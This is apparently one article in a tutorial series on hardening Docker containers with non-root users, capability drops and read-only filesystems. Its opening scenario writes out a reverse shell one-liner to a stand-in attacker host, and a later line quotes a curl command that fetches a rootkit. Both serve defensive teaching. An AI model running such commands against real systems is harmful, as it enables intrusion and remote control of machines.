Container Hardening: Non-Root Execution, Linux Capabilities, and Read-Only Filesystems
Mitigating container breakout exploits using non-root users, capability drops, and read-only filesystems.
Part 18 in Series — Catch up on the previous article: Multi-Container Orchestration: Docker Compose Architecture and Declarative Configs (Part 17) before diving into this post.
An attacker discovers a zero-day Remote Code Execution (RCE) vulnerability in a node module used by a public-facing web container.
Using a crafted HTTP POST request, the attacker executes a reverse shell payload:
/bin/sh -i >& /dev/tcp/attacker.example.com/4444 0>&1
Once inside the container, the attacker checks their current user ID:
whoami
# Output: root (UID 0)
Because the container process was launched with default Docker settings (running as root with default kernel capabilities), the attacker modifies host routing rules, alters /etc/passwd, and leverages kernel vulnerabilities to break out of the container onto the host machine.
When the security team hardens their containers using three core security controls:
docker run -d \
--user 10001:10001 \
--cap-drop=ALL \
--read-only \
--tmpfs /tmp \
my-hardened-app
The exact same RCE exploit attempt fails instantly. The reverse shell cannot write files to the read-only filesystem, cannot execute privileged kernel operations, and cannot access host resources.
How do Non-Root Execution, Linux Capabilities, and Read-Only Filesystems protect containerized environments against breakout exploits?
1. The Container Root Problem
By default, unless specified otherwise in the Dockerfile or runtime flags, processes inside Docker containers run as root (UID 0).
CONTAINER PROCESS (UID 0) ===================> LINUX KERNEL (UID 0)
Same kernel! Container root IS host root unless isolated by User Namespaces!
Because containers share the host Linux kernel:
- If a container process running as UID 0 exploits a kernel vulnerability (e.g., Dirty COW or container breakout CVEs), it gains root privileges on the physical host host server.
2. Security Pillar 1: Non-Root Execution (USER)
The first rule of container hardening is: Never run application processes as root (UID 0).
Enforcing Non-Root Execution in Dockerfile
FROM node:18-alpine
# Create a dedicated non-privileged system group and user
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
WORKDIR /app
COPY --chown=appuser:appgroup . .
# Switch runtime execution user to non-root UID 10001
USER 10001:10001
ENTRYPOINT ["node", "server.js"]
Enforcing Non-Root Execution at Runtime
You can also override the execution user at runtime using the --user flag:
docker run -d --user 10001:10001 my-app
If an attacker gains code execution inside a non-root container, whoami returns UID 10001. The attacker cannot modify system files, install software packages, or bind to privileged system ports (< 1024).
3. Security Pillar 2: Dropping Linux Capabilities (--cap-drop)
In traditional UNIX systems, process permissions were binary: a process was either unprivileged or a superuser (root).
Linux kernel Capabilities split traditional root privileges into 41 distinct fine-grained flags:
Examples of Linux Kernel Capabilities:
- CAP_NET_BIND_SERVICE: Permission to bind to system sockets < 1024 (e.g., port 80/443).
- CAP_SYS_ADMIN: Dangerous "super-capability" (mount filesystems, load modules).
- CAP_NET_ADMIN: Permission to modify host iptables firewall rules and network routes.
- CAP_CHOWN: Permission to change file UID/GID ownership.
By default, Docker grants containers a default subset of 14 capabilities (including CAP_CHOWN, CAP_NET_BIND_SERVICE, CAP_SETUID).
The Least-Privilege Hardening Pattern
Production hardening should follow the Drop All, Add Explicit pattern:
# 1. Drop ALL 41 Linux kernel capabilities
# 2. Add back ONLY the exact capability required by the app
docker run -d \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
my-app
If an application does not need to bind to port 80, drop all capabilities (--cap-drop=ALL). Even if an attacker gains root (UID 0) inside the container, without kernel capabilities like CAP_SYS_ADMIN or CAP_NET_ADMIN, the attacker cannot execute privileged kernel operations!
4. Security Pillar 3: Read-Only Root Filesystems (--read-only)
Attackers who gain RCE execution typically attempt to download malware binaries (curl -O http://malware/rootkit) into /tmp or overwrite application source files.
You can render malware download attempts completely ineffective by running the container with a Read-Only Root Filesystem:
docker run -d \
--read-only \
--tmpfs /tmp \
--tmpfs /run \
my-app
[ Container Mount Namespace ]
/ <-- Strictly READ-ONLY (Attempts to modify files return EROFS error!)
├── /tmp <-- Mounted as ephemeral tmpfs in RAM (for legitimate temp files)
└── /run <-- Mounted as ephemeral tmpfs in RAM
Benefits of Read-Only Filesystems:
- Prevents Malware Persistence: Attackers cannot download scripts, inject rootkits, or modify application source files on disk.
- Enforces Immutability: Ensures container processes write data only to explicit named volumes or ephemeral
tmpfsRAM paths.
Container Security Hardening Checklist
| Security Control | Default Docker Behavior | Hardened Production Configuration | Security Benefit |
|---|---|---|---|
| Process User | root (UID 0) | USER 10001:10001 | Prevents host kernel privilege escalation |
| Linux Capabilities | 14 default capabilities | --cap-drop=ALL | Prevents privileged kernel syscall execution |
| Root Filesystem | Ephemeral Read-Write | --read-only | Prevents malware downloads and file modification |
| Temporary Paths | Ephemeral Read-Write | --tmpfs /tmp | Stores temporary files safely in RAM |
| Privilege Escalation | Allowed | --security-opt=no-new-privileges:true | Prevents setuid binary escalation (su, sudo) |
Summary & Next Steps
Container security relies on applying defense-in-depth isolation controls:
- Containers share the host kernel, making default
rootexecution dangerous. - Non-Root User Execution (
USER 10001) ensures compromised processes lack root authority. - Linux Capability Dropping (
--cap-drop=ALL) strips kernel privileges regardless of user ID. - Read-Only Filesystems (
--read-only) block malware file creation and enforce runtime immutability.
In the next article, we inspect Container Observation and Troubleshooting: Logging Drivers, Health Checks, and Diagnostics.
References & Further Reading
- Microsoft Learn. Windows Subsystem for Linux (WSL 2) Architecture & Linux Kernel Interface. Microsoft Docs.
- Virtio-fs Project. Virtio Shared File System Organization and FUSE Protocol. Virtio-fs Docs.
- Docker Inc. HyperKit Lightweight macOS Virtualization. GitHub.
Part 19: Container Observation and Troubleshooting: Logging Drivers, Health Checks, and Diagnostics
Continue to Part 19 →